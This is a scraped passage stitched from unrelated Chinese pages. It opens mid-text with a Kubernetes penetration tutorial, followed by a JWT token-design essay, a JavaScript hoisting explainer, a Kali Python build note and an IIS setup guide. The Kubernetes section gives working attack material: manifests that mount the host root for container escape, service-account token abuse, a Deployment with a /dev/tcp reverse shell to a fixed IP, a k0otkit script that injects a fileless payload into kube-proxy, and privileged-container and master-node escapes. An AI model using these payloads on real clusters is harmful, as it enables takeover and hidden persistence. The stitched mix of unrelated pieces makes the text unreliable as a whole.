--keys-only9、私有镜像库暴露举个例子,如果一个企业它的许多云上应用都是用的自建的私有镜像搭建的,有一天它私有镜像泄露出来了,我们就可以通过审计等手段去挖掘私有镜像中的漏洞,造成供应链打击。10、Dashboard面板爆破dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard我们可以控制整个集群。用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard.为Kubernetes-dashboard绑定cluster-admin(cluster-admin拥有管理集群的最高权限).利用默认配置登陆是需要输入 Token 的且不能跳过但是如果在配置参数中添加了如下参数,那么在登陆的过程中就可以进行跳过 Token 输入环节- --enable-skip-login点击Skip进入dashboard实际上使用的是Kubernetes-dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。给Kubernetes-dashboard绑定cluster-admin:apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: dashboard-1 subjects: - kind: ServiceAccount name: k8s-dashboard-kubernetes-dashboard namespace: kube-system roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io绑定完成后,再次刷新 dashboard 的界面,就可以看到整个集群的资源情况。获取访问后直接创建特权容器即可getshell0x02 执行目录挂载逃逸这个技术是综合了执行、持久化、权限提升的一个攻击方法,为了省事,就放在这里一块说了。首先,在我们获取了api server控制权后,我们可以创建Pod,并在Pod内部执行命令。如果我们在创建Pod时,将Node节点的根目录挂载到Pod的某个目录下,由于我们能在Pod内部执行命令,所以我们可以修改挂载到Pod下的Node节点根目录中文件的内容,如果我们写入恶意crontab、web shell、ssh公钥,便可以从Pod逃逸到宿主机Node,获取Node控制权。具体复现如下先创建一个恶意Pod首先我们创建恶意Pod,可以直接创建Pod,也可以用Deployment创建。 既然提到创建Pod,那么就多提一句:直接创建Pod和用Deployment创建Pod的区别是什么? Deployment可以更方便的设置Pod的数量,方便Pod水平扩展。 Deployment拥有更加灵活强大的升级、回滚功能,并且支持滚动更新。 使用Deployment升级Pod只需要定义Pod的最终状态,k8s会为你执行必要的操作。 如果创建一个小玩意,那么直接创建Pod就行了,没必要用deployment。用Pod创建 apiVersion:v1 kind:Pod metadate: name:evilpod spec: containers: - image:nginx name:container volumeMounts: - mountPath:/mnt name:test-volume volumes: - name: test-volume hostPath: path:/用deployment创建 apiVersion: apps/v1 kind:Deployment metadata: name:nginx-deployment labels: apps:nginx-test spec: replicas:1 selector: matchLabels: app:nginx template: metadata: labels: app:nginx spec: containers: - image:nginx name:container volumeMounts: - mountPath : /mnt name: test-volume volumes: - name: test-volume hostPath: path: /将以上文本写入到一个yaml文件中,然后执行kubectl apply -f xxxxx.yaml 如果是api server未授权打进去的,可能要通过-s参数设置一下api server的ip和地址: kubectl -s http://master_ip:8080 command 这里再多嘴一句 kubectl apply 和 kubectl create 这两个命令的区别: 两个命令都可以用于创建pod,apply更倾向于”维护资源“,可以用于更新已有Pod;而create更倾向于”直接创建“,不管三七二十一给我创建就完事了简而言之,当一个资源已经存在时,用create会报错,而apply不会报错恶意容器就创建好了创建好了后使用命令 kubectl get pods 获取恶意pod的名字然后使用命令 kubectl exec -it evilpodname /bin/bash 进入pod内部shell,然后向挂载到Pod内部的Node根目录中写入恶意crontab/ssh公钥/webshell即可拿到node的shell。大致流程一张图表示如下利用Service Account连接API Server执行指令k8s有两种账户:用户账户和服务账户,用户账户被用于人与集群交互(如管理员管理集群),服务账户用于Pod与集群交互(如Pod调用api server提供的一些API进行一些活动)如果我们入侵了一台有着高权限服务账户的Pod,我们就可以用它对应的服务账户身份调用api server向集群下达命令。pod的serviceaccount信息一般存放于/var/run/secrets/kubernetes.io/serviceaccount/目录下但是默认的user或者service account并不具备任何权限这是默认情况下,一个pod使用自身service account(默认为当前命名空间的default账户)去请求api server返回的结果,可以发现是没有权限的:$ CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt $ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) $ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) $ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" "https://192.168.111.20:6443/version/" "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "version is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"version\" in API group \"\" at the cluster scope", "reason": "Forbidden", "details": { "kind": "version" }, "code": 403那么我现在创建一个高权限service account 并使其与一个Pod相关联,来复现一下这个攻击手法首先创建一个高权限service accountkubectl create serviceaccount niubi #创建service account:niubikubectl create clusterrolebinding cluster-admin-niubi --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入集群管理员组,相当于给了它高权限然后将service account与pod相关联在创建Pod的yaml文件中的spec项中输入 serviceAccountName: niubi再试一下,发现可以调用api server了0x03 持久化这里的持久化是指如何在Pod中持久化、如何在Node中持久化、如何在集群中持久化。如何在Node中持久化,在上一小节中已经提到过一些:通过写入crontab,ssh公钥,webshell实现,但个人觉得这几个手段与其说是持久化,不如说是权限提升更符合实际一点,因为这几个手段在实际渗透中都是为了从Pod逃逸出来获取Node权限。同时,在Pod,Node,Master上做持久化,有大部分方法本质上是“如何在linux机器上做持久化”,而“如何在linux机器上做持久化”方法就太多了,这里就只着重于讲述在“云环境”里独有的持久化方法。在私有镜像库中植入后门(Pod持久化)如果接管了对方的私有镜像库,我们便可以直接在其对象Dockerfile中塞入恶意指令(反弹shell等)或者编辑镜像的文件层代码,将镜像中原始的可执行文件或链接库文件替换为精心构造的后门文件之后再次打包成新的镜像。修改核心组件访问权限(集群持久化)包括且不限于 更改配置暴露apiserver 8080端口、暴露docker.sock、暴露未授权etcd、暴露未授权kubelet等修改集群配置文件达到持久化的方法。shadow api server(集群持久化/cdk工具利用)部署一个额外的未授权且不记录日志的api server以供我们进行持久化。我们可以用github上专门用于k8s渗透的工具cdk(这个工具很屌)来做到这一点https://github.com/cdk-team/CDK/wiki/CDK-Home-CNhttps://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserverDeployment创建容器时,通过启用 DaemonSets、Deployments,可以使容器和子容器即使被清理掉了也可以恢复,攻击者经常利用这个特性进行持久化,涉及的概念有:● ReplicationController(RC)ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。● Replication Set(RS)Replication Set简称RS,官方已经推荐我们使用 RS 和 Deployment 来代替 RC 了,实际上 RS 和 RC 的功能基本一致,目前唯一的一个区别就是RC 只支持基于等式的 selector。● Deployment主要职责和 RC 一样,的都是保证 Pod 的数量和健康,二者大部分功能都是完全一致的,可以看成是一个升级版的 RC 控制器。官方组件 kube-dns、kube-proxy 也都是使用的Deployment来管理。这里使用Deployment来部署后门#dep.yaml apiVersion: apps/v1 kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态 metadata: name: nginx-deploy labels: k8s-app: nginx-demo spec: replicas: 3 #指定Pod副本数量 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: hostNetwork: true hostPID: true containers: - name: nginx image: nginx:1.7.9 imagePullPolicy: IfNotPresent command: ["bash"] #反弹Shell args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"] securityContext: privileged: true #特权模式 volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / type: Directory #创建 kubectl create -f dep.yamlRootkit这里介绍一个 k8s 的 rootkit,k0otkit 是一种通用的后渗透技术,可用于对 Kubernetes 集群的渗透。使用 k0otkit,您可以以快速、隐蔽和连续的方式(反向 shell)操作目标 Kubernetes 集群中的所有节点。K0otkit使用到的技术:●DaemonSet和Secret资源(快速持续反弹、资源分离)● kube-proxy镜像(就地取材)● 动态容器注入(高隐蔽性)● Meterpreter(流量加密)● 无文件攻击(高隐蔽性)#生成k0otkit ./pre_exp.sh #监听 ./handle_multi_reverse_shell.shk0otkit.sh的内容复制到master执行:volume_name=cache mount_path=/var/kube-proxy-cache ctr_name=kube-proxy-cache binary_file=/usr/local/bin/kube-proxy-cache payload_name=cache secret_name=proxy-cache secret_data_name=content ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}') volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}') image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}') # create payload secret cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f - apiVersion: v1 kind: Secret metadata: name: $secret_name namespace: kube-system type: Opaque data: $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA...... # inject malicious container into kube-proxy pod kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \ | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \ | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \ | kubectl --kubeconfig /root/.kube/config replace -f -cronjob持久化CronJob用于执行周期性的动作,例如备份、报告生成等,攻击者可以利用此功能持久化。apiVersion: batch/v1 kind: CronJob #使用CronJob对象 metadata: name: hello spec: schedule: "*/1 * * * *" #每分钟执行一次 jobTemplate: spec: template: spec: containers: - name: hello image: busybox imagePullPolicy: IfNotPresent command: - /bin/sh - -c - #反弹Shell或者木马 restartPolicy: OnFailure0x04 权限提升指从pod拿到Node的shell,或者拿到集群控制权。上面的小节提到过一些,比如kubectl未授权、docker.sock、挂载目录、高权限Service account等方法。除此之外还有Docker、k8s的一些CVEDocker逃逸如CVE-2019-5736,CVE-2019-14271,CVE-2020-15257、CVE-2022-0811k8s提权到接管集群的如CVE-2018-1002105,CVE-2020-8558docker逃逸可以看之前总结的容器逃逸相关文章,这里说一下特权容器逃逸特权容器逃逸当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备。而K8s配置文件启用了privileged: true:spec: containers: - name: ubuntu image: ubuntu:latest securityContext: privileged: true实战案例:通过漏洞获取WebShell,查看根目录存在.dockerenv,可通过fdisk -l查看磁盘目录,进行挂载目录逃逸:#Webshell下操作 fdisk -l mkdir /tmp/test mount /dev/sda3 /tmp/test chroot /tmp/test bash0x05 探测● 内网扫描● K8s常用端口探测● 集群内部网络是否在容器环境中根目录下/.dockerenv 文件存在即docker环境/proc/1/cgroup 内若包含docker或kube字符串则是在docker环境或k8s pod 之中没有常见命令查看环境变量中是否有k8s或者docker字符串查看端口开放情况(netstat -anp),如果开放了一些特殊端口如6443、8080(api server),2379(etcd),10250、10255(kubelet),10256(kube-proxy) 那么可以初步判定为是在k8s环境中的一台Node或者master,这个方法亦可用于端口扫描探测目标主机是否为k8s集群中的机器查看当前网段,k8s中 Flannel网络插件默认使用10.244.0.0/16网络,Calico默认使用192.168.0.0/16网络,如果出现在这些网段中(特别是10.244网段)那么可以初步判断为集群中的一个pod。pod里面命令很少,可以通过hostname -I(大写i)来查看ip地址集群内网扫描Kubernetes的网络中存在4种主要类型的通信● 同一Pod内的容器间通信● 各Pod彼此间通信● Pod与Service间的通信● 集群外部的流量与Service间的通信。所以和常规内网渗透无区别,nmap、masscan等扫描K8s常用端口探测集群内部网络● Flannel网络插件默认使用10.244.0.0/16网络●Calico默认使用192.168.0.0/16网络0x06 横向移动目的通常来说,拿到kubeconfig或者能访问apiserver的ServiceAccount token,就代表着控下了整个集群。但往往在红队攻击中,我们常常要拿到某一类特定重要系统的服务器权限来得分。前面我们已经可以在节点上通过创建pod来逃逸,从而获得节点对应主机的权限,那么我们是否能控制pod在指定节点上生成,逃逸某个指定的Node或Master节点。亲和性与反亲和性一般来说我们部署的Pod是通过集群的自动调度策略来选择节点的,但是因为一些实际业务的需求可能需要控制某些pod调度到特定的节点。就需要用到 Kubernetes 里面的一个概念:亲和性和反亲和性。亲和性又分成节点亲和性( nodeAffinity )和 Pod 亲和性( podAffinity )。节点亲和性通俗些描述就是用来控制 Pod 要部署在哪些节点上,以及不能部署在哪些节点上的pod亲和性和反亲和性表示pod部署到或不部署到满足某些label的pod所在的node上节点亲和性( nodeAffinity )节点亲和性主要是用来控制 pod 要部署在哪些主机上,以及不能部署在哪些主机上的,演示一下:查看node的label命令kubectl get nodes --show-labels给节点打上label标签kubectl label nodes k8s-node01 com=justtest node/k8s-node01 labeled当node 被打上了相关标签后,在调度的时候就可以使用这些标签了,只需要在 Pod 的spec字段中添加 nodeSelector 字段apiVersion: v1 kind: Pod metadata: name: node-scheduler spec: nodeSelector: com: justtestPod 亲和性( podAffinity )pod 亲和性主要处理的是 pod 与 pod 之间的关系,比如一个 pod 在一个节点上了,那么另一个也得在这个节点,或者你这个 pod 在节点上了,那么我就不想和你待在同一个节点上。污点与容忍度节点亲和性是 Pod的一种属性,它使 Pod 被吸引到一类特定的节点。 污点(Taint)则相反——它使节点能够排斥一类特定的 Pod。污点标记选项:NoSchedule,表示pod 不会被调度到标记为 taints 的节点PreferNoSchedule,NoSchedule 的软策略版本,表示尽量不调度到污点节点上去NoExecute :该选项意味着一旦 Taint 生效,如该节点内正在运行的pod 没有对应 Tolerate 设置,会直接被逐出我们使用kubeadm搭建的集群默认就给 master 节点(主节点)添加了一个污点标记,所以我们看到我们平时的 pod 都没有被调度到master 上去。除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是系统级别的Pod,例如kube-system给指定节点标记污点 taint :kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule上面将 k8s-node01 节点标记为了污点,影响策略是 NoSchedule,只会影响新的 pod 调度。由于 node01节点被标记为了污点节点,所以我们这里要想 pod 能够调度到 node01节点去,就需要增加容忍的声明使用污点和容忍度能够使Pod灵活的避开某些节点或者将某些Pod从节点上驱逐。详细概念可以参考官网文档:污点和容忍度 | Kubernetes实现master节点逃逸比如要想获取到master节点的shell,则可以从这两点考虑去掉“污点”(taints)(生产环境不推荐)让pod能够容忍(tolerations)该节点上的“污点”。查看k8s-master的节点情况,确认Master节点的容忍度:创建带有容忍参数并且挂载宿主机根目录的PodapiVersion: v1 kind: Pod metadata: name: myapp2 spec: containers: - image: nginx name: test-container volumeMounts: - mountPath: /mnt name: test-volume tolerations: - key: node-role.kubernetes.io/master operator: Exists effect: NoSchedule volumes: - name: test-volume hostPath: path: /kubectl -s 192.168.11.152:8080 create -f test.yaml --validate=false kubectl -s 192.168.11.152:8080 --namespace=default exec -it test-master bash之后按照上面逃逸node01节点的方式写入ssh公钥即可getshell。四、后渗透&集群持久化https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA五、参考https://www.const27.com/2022/03/13/k8s安全 入门学习/ (k8s基础、攻击矩阵)https://paper.seebug.org/1803/(k8s攻击矩阵)https://xz.aliyun.com/t/11316 (K8S云原生环境渗透学习)https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA (K8S后渗透横向节点与持久化隐蔽方式探索)https://mp.weixin.qq.com/s/emej9iAFTgr14Y_Q3-aYNAhttps://kuboard.cn/learning/(非常好的中文教程)https://kubernetes.io/zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式操作界面,稍微有点不好的是有些地方没有中文)永远相信 永远热爱
摘要: Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位 不久前,我在在前后端分离实践中提到了基于 Token 的认证,现在我们稍稍深入一些。 通常情况下,我们在讨论某个技术的时候,都是从问题开始。那么第一个问题: 为什么要用 Token?(无状态token开始比较有用) 而要回答这个问题很简单——因为它能解决问题! 可以解决哪些问题呢? Token 完全由应用管理,所以它可以避开同源策略Token 可以避免 CSRF 攻击(http://dwz.cn/7joLzx)Token 可以是无状态的,可以在多个服务间共享 Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位。如果这个 Token 在服务端持久化(比如存入数据库),那它就是一个永久的身份令牌。 于是,又一个问题产生了:需要为 Token 设置有效期吗? 需要设置有效期吗? 对于这个问题,我们不妨先看两个例子。一个例子是登录密码,一般要求定期改变密码,以防止泄漏,所以密码是有有效期的;另一个例子是安全证书。SSL 安全证书都有有效期,目的是为了解决吊销的问题,对于这个问题的详细情况,来看看知乎的回答(http://dwz.cn/7joMhq)。所以无论是从安全的角度考虑,还是从吊销的角度考虑,Token 都需要设有效期。 那么有效期多长合适呢? 只能说,根据系统的安全需要,尽可能的短,但也不能短得离谱——想像一下手机的自动熄屏时间,如果设置为 10 秒钟无操作自动熄屏,再次点亮需要输入密码,会不会疯?如果你觉得不会,那就亲自试一试,设置成可以设置的最短时间,坚持一周就好(不排除有人适应这个时间,毕竟手机厂商也是有用户体验研究的)。 然后新问题产生了,如果用户在正常操作的过程中,Token 过期失效了,要求用户重新登录……用户体验岂不是很糟糕? 为了解决在操作过程不能让用户感到 Token 失效这个问题,有一种方案是在服务器端保存 Token 状态,用户每次操作都会自动刷新(推迟) Token 的过期时间——Session 就是采用这种策略来保持用户登录状态的。然而仍然存在这样一个问题,在前后端分离、单页 App 这些情况下,每秒种可能发起很多次请求,每次都去刷新过期时间会产生非常大的代价。如果 Token 的过期时间被持久化到数据库或文件,代价就更大了。所以通常为了提升效率,减少消耗,会把 Token 的过期时保存在缓存或者内存中。 还有另一种方案,使用 Refresh Token,它可以避免频繁的读写操作。这种方案中,服务端不需要刷新 Token 的过期时间,一旦 Token 过期,就反馈给前端,前端使用 Refresh Token 申请一个全新 Token 继续使用。这种方案中,服务端只需要在客户端请求更新 Token 的时候对 Refresh Token 的有效性进行一次检查,大大减少了更新有效期的操作,也就避免了频繁读写。当然 Refresh Token 也是有有效期的,但是这个有效期就可以长一点了,比如,以天为单位的时间。 时序图表示 使用 Token 和 Refresh Token 的时序图如下: 1)登录 2)业务请求 3)Token 过期,刷新 Token 上面的时序图中并未提到 Refresh Token 过期怎么办。不过很显然,Refresh Token 既然已经过期,就该要求用户重新登录了。 当然还可以把这个机制设计得更复杂一些,比如,Refresh Token 每次使用的时候,都更新它的过期时间,直到与它的创建时间相比,已经超过了非常长的一段时间(比如三个月),这等于是在相当长一段时间内允许 Refresh Token 自动续期。 到目前为止,Token 都是有状态的,即在服务端需要保存并记录相关属性。那说好的无状态呢,怎么实现? 无状态 Token 如果我们把所有状态信息都附加在 Token 上,服务器就可以不保存。但是服务端仍然需要认证 Token 有效。不过只要服务端能确认是自己签发的 Token,而且其信息未被改动过,那就可以认为 Token 有效——“签名”可以作此保证。平时常说的签名都存在一方签发,另一方验证的情况,所以要使用非对称加密算法。但是在这里,签发和验证都是同一方,所以对称加密算法就能达到要求,而对称算法比非对称算法要快得多(可达数十倍差距)。 更进一步思考,对称加密算法除了加密,还带有还原加密内容的功能,而这一功能在对 Token 签名时并无必要——既然不需要解密,摘要(散列)算法就会更快。可以指定密码的散列算法,自然是 HMAC。 上面说了这么多,还需要自己去实现吗?不用!JWT 已经定义了详细的规范,而且有各种语言的若干实现。 不过在使用无状态 Token 的时候在服务端会有一些变化,服务端虽然不保存有效的 Token 了,却需要保存未到期却已注销的 Token。如果一个 Token 未到期就被用户主动注销,那么服务器需要保存这个被注销的 Token,以便下次收到使用这个仍在有效期内的 Token 时判其无效。有没有感到一点沮丧? 在前端可控的情况下(比如前端和服务端在同一个项目组内),可以协商:前端一但注销成功,就丢掉本地保存(比如保存在内存、LocalStorage 等)的 Token 和 Refresh Token。基于这样的约定,服务器就可以假设收到的 Token 一定是没注销的(因为注销之后前端就不会再使用了)。 如果前端不可控的情况,仍然可以进行上面的假设,但是这种情况下,需要尽量缩短 Token 的有效期,而且必须在用户主动注销的情况下让 Refresh Token 无效。这个操作存在一定的安全漏洞,因为用户会认为已经注销了,实际上在较短的一段时间内并没有注销。如果应用设计中,这点漏洞并不会造成什么损失,那采用这种策略就是可行的。 在使用无状态 Token 的时候,有两点需要注意: Refresh Token 有效时间较长,所以它应该在服务器端有状态,以增强安全性,确保用户注销时可控应该考虑使用二次认证来增强敏感操作的安全性 到此,关于 Token 的话题似乎差不多了——然而并没有,上面说的只是认证服务和业务服务集成在一起的情况,如果是分离的情况呢? 分离认证服务 当 Token 无状态之后,单点登录就变得容易了。前端拿到一个有效的 Token,它就可以在任何同一体系的服务上认证通过——只要它们使用同样的密钥和算法来认证 Token 的有效性。就样这样: 当然,如果 Token 过期了,前端仍然需要去认证服务更新 Token: 可见,虽然认证和业务分离了,实际即并没产生多大的差异。当然,这是建立在认证服务器信任业务服务器的前提下,因为认证服务器产生 Token 的密钥和业务服务器认证 Token 的密钥和算法相同。换句话说,业务服务器同样可以创建有效的 Token。如果业务服务器不能被信任,该怎么办? 不受信的业务服务器 遇到不受信的业务服务器时,很容易想到的办法是使用不同的密钥。认证服务器使用密钥1签发,业务服务器使用密钥2验证——这是典型非对称加密签名的应用场景。认证服务器自己使用私钥对 Token 签名,公开公钥。信任这个认证服务器的业务服务器保存公钥,用于验证签名。幸好,JWT 不仅可以使用 HMAC 签名,也可以使用 RSA(一种非对称加密算法)签名。 不过,当业务服务器已经不受信任的时候,多个业务服务器之间使用相同的 Token 对用户来说是不安全的。因为任何一个服务器拿到 Token 都可以仿冒用户去另一个服务器处理业务……悲剧随时可能发生。 为了防止这种情况发生,就需要在认证服务器产生 Token 的时候,把使用该 Token 的业务服务器的信息记录在 Token 中,这样当另一个业务服务器拿到这个 Token 的时候,发现它并不是自己应该验证的 Token,就可以直接拒绝。 现在,认证服务器不信任业务服务器,业务服务器相互也不信任,但前端是信任这些服务器的——如果前端不信任,就不会拿 Token 去请求验证。那么为什么会信任?可能是因为这些是同一家公司或者同一个项目中提供的若干服务构成的服务体系。 但是,前端信任不代表用户信任。如果 Token 不没有携带用户隐私(比如姓名),那么用户不会关心信任问题。但如果 Token 含有用户隐私的时候,用户得关心信任问题了。这时候认证服务就不得不再啰嗦一些,当用户请求 Token 的时候,问上一句,你真的要授权给某某某业务服务吗?而这个“某某某”,用户怎么知道它是不是真的“某某某”呢?用户当然不知道,甚至认证服务也不知道,因为公钥已经公开了,任何一个业务都可以声明自己是“某某某”。 为了得到用户的信任,认证服务就不得不帮助用户来甄别业务服务。所以,认证服器决定不公开公钥,而是要求业务服务先申请注册并通过审核。只有通过审核的业务服务器才能得到认证服务为它创建的,仅供它使用的公钥。如果该业务服务泄漏公钥带来风险,由该业务服务自行承担。现在认证服务可以清楚的告诉用户,“某某某”服务是什么了。如果用户还是不够信任,认证服务甚至可以问,某某某业务服务需要请求 A、B、C 三项个人数据,其中 A 是必须的,不然它不工作,是否允许授权?如果你授权,我就把你授权的几项数据加密放在 Token 中…… 废话了这么多,有没有似曾相识……对了,这类似开放式 API 的认证过程。开发式 API 多采用 OAuth 认证,而关于 OAuth 的探讨资源非常丰富,这里就不深究了。
s中常见的错误,例如Uncaught TypeError: x is not a function其原因除了函数本身有错之外,还有一种很奇怪的情况:函数本身没有错,但是运行时就是不能正常运行。这种情况与javascript的特性有关:变量与函数声明前置的优先级。总结:js有声明前置,函数和变量的声明都会前置,即会在整个js代码的最开始,不管声明部分在什么位置。js中函数的声明优先于同名变量的声明,不管先后顺序如何。函数的声明会在整段js代码的最前面,不管function() 函数在js的什么位置。当先声明了名为x()的函数,再声明名为var x的变量时,变量名会覆盖函数,使得在同名变量定义之后,函数变得未定义,即同名变量定义之后 调用同名函数会报错,即 x is not a function。当有两个同名变量和两个同名函数一起定义时,四个量的名字相同,那么后一个函数或者变量会覆盖掉前一个对应的量(函数/变量)且四个中最后一个定义量之后在引用此量,该量的类型(变量/函数)是最后一次定义此名量时的类型(变量/函数)。 1-4点解释如下:首先看代码:console.log(x) console.log(x()); var x=1; function x(){ console.log(5); } console.log(x) console.log(x());//此时x变成了一个变量输出结果:function x(){ console.log(5); }51 Uncaught TypeError: x is not a function ----------------------------js解释器在对其上下文进行解释执行时分为三个阶段来进行:声明阶段、初始化阶段、执行阶段。针对js上下文,首先会进行声明阶段,声明阶段中的特点是声明前置;声明又会包括变量声明前置和函数声明前置,鉴于以上代码的输出结果,我们可以得出函数声明前置优先于变量声明前置的特点,并且如果变量名和函数名冲突会忽略变量的声明,因此声明过得变量名或函数名不会重复声明,这样也可以很好地解释为什么第一次输出的是函数而不是undefined。根据js的这些特点我们可以将以上代码解析成如下://声明阶段 function x(){//函数声明 console.log(5); } var x;//变量声明,因为x已经声明过了,此处不进行声明(忽略) //执行阶段 console.log(x); console.log(x()); x=1; console.log(x); console.log(x());如上代码所述,js将变量和函数的声明前置,然后再执行代码。第二次输出时,因为声明阶段已经声明过名为x的函数,所以在执行阶段中调用x函数,会执行函数体中的内容。第三次输出时,输出1,因为x被赋值为1.第四次输出时,因为x此时是一个变量而不是一个函数,所以js无法解释“变量()”这样的格式,就会提示“x is not a function”。第5点解释如下:当有两个同名变量和两个同名函数一起定义时,四个量的名字相同,那么后一个函数或者变量会覆盖掉前一个对应的量(函数/变量)。js中声明过得变量名或函数名不会重复声明,如果js代码中有同名的函数或同名的变量时,程序如何运行,如下代码:console.log(x) console.log(x()); var x=1; var x=100; function x(){ console.log(5); } function x(){ console.log(500); } console.log(x) console.log(x());//此时x变根据js解析代码的特点,将代码解析成如下://声明阶段 function x(){//函数声明 //console.log(5);此句会被下句代码覆盖 console.log(500); } var x;//变量声明,因为x已经声明过了,此处不进行声明(忽略) //执行阶段 console.log(x); console.log(x()); x=1; x=100;//x的值被覆盖 console.log(x); console.log(x());//此时x变成了一个变量所以输出的结果就是:function x(){ console.log(500); }500100 Uncaught TypeError: x is not a function----------------------------所以:如果声明了同名的函数其定义会被后者覆盖,声明了同名的变量其值也会被后者覆盖
目前面临的问题,在kali操作系统中默认安装了python2和python3,但是pip命令所安装的库都在python2里面,无法引入python3这就导致使用python3 代码引用第三方库存在问题,故通过源码安装python3.7来解决问题。首先下载python3.7wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tgz解压并新建安装python环境的目录tar -zxvf Python-3.7.0.tgz 编译之前,安装一些所要依赖的包 apt-get install -y make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev 假如报错了,就删除对应的lock rm /var/cache/apt/archives/lock编译安装./configure --enable-optimizations --prefix=/usr/local/Python-3.7/ && make && make install 建立软连接ln -s -b /usr/local/python3.7/bin/python3.7 /usr/bin/python ln -s -b /usr/local/python3.7/bin/pip3 /usr/bin/pip3
wget https://bootstrap.pypa.io/ez_setup.py -O - | pythoneasy_install安装完毕,这个时候我们再去安装需要的环境就没有问题。
对于许多新手来说,如何在服务器上部署网站并不了解,这个教程希望对新手有帮助。1、IIS服务器2、.Net Framework3.5 (方便起见,我们这里Framework说的都是指的这个版本)这两个软件都需要我们自己手动操作安装到服务器里面。那到底是先装哪一个呢,为了方便起见,一般我们都先安装IIS服务器,然后再安装Framework。当然偶也遇到过几次部署人员先安装了Framework再安装IIS服务器的,这样的操作步骤就会导致Framework不会被注册进IIS服务器里面。就是说在网站属性的ASP.NET选项卡上面不会出现下面这样的版本选择框那我们怎么处理这样的情况呢,很简单,手动到IIS里面注册一下:开始-->运行-->cmd-->输入 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -i再说一下我们公司用的系统WindowsService2003sp2,怎么看这个信息呢?右键我的电脑-->属性 就可以看到了接下来,我们就可以开始安装了。首先,是安装IIS开始-->控制面板-->添加或删除程序-->打开 添加/删除windows组件 窗口 这个打开的过程可能比较慢,系统要先自动检测一下你到底给他装了啥东西然后我们一直下一步就可以完成IIS的安装了。安装Framework没有什么好说的,双击安装文件一直下一步就可以了。等两个软件都安装完成后,我们就可以通过右击我的电脑-->管理 打开计算机管理窗口我们可以看到里面有一项应用程序服务器的选项,不错,就是我们刚才安装的那个东西。点开它,你会看到一个 Internet 信息服务(IIS)管理器,我们就是要在这个东西里面操作,其他的不用去管他。打开它,你会发现有三个子菜单:1、应用程序池2、网站3、Web服务扩展什么是应用程序池?太专业了,不去管他,为了保险起见,偶每建立一个网站都要创建一个应用程序池来管理他,至于这个池的配置,一切默认啦,微软都已经帮我们做好了。我们来创建一个应用程序池:右键应用程序池-->起个名字Test,再点击确定就可以了然后展开这个应用程序池的菜单,我们就可以看到刚才新建的Test的应用程序池了。接下来我们左键单击 Web服务扩展 菜单 打开.net2.0的扩展接下来我们就可以新建一个网站了,右键 网站直接单击下一步输入我们网站的名字 Test 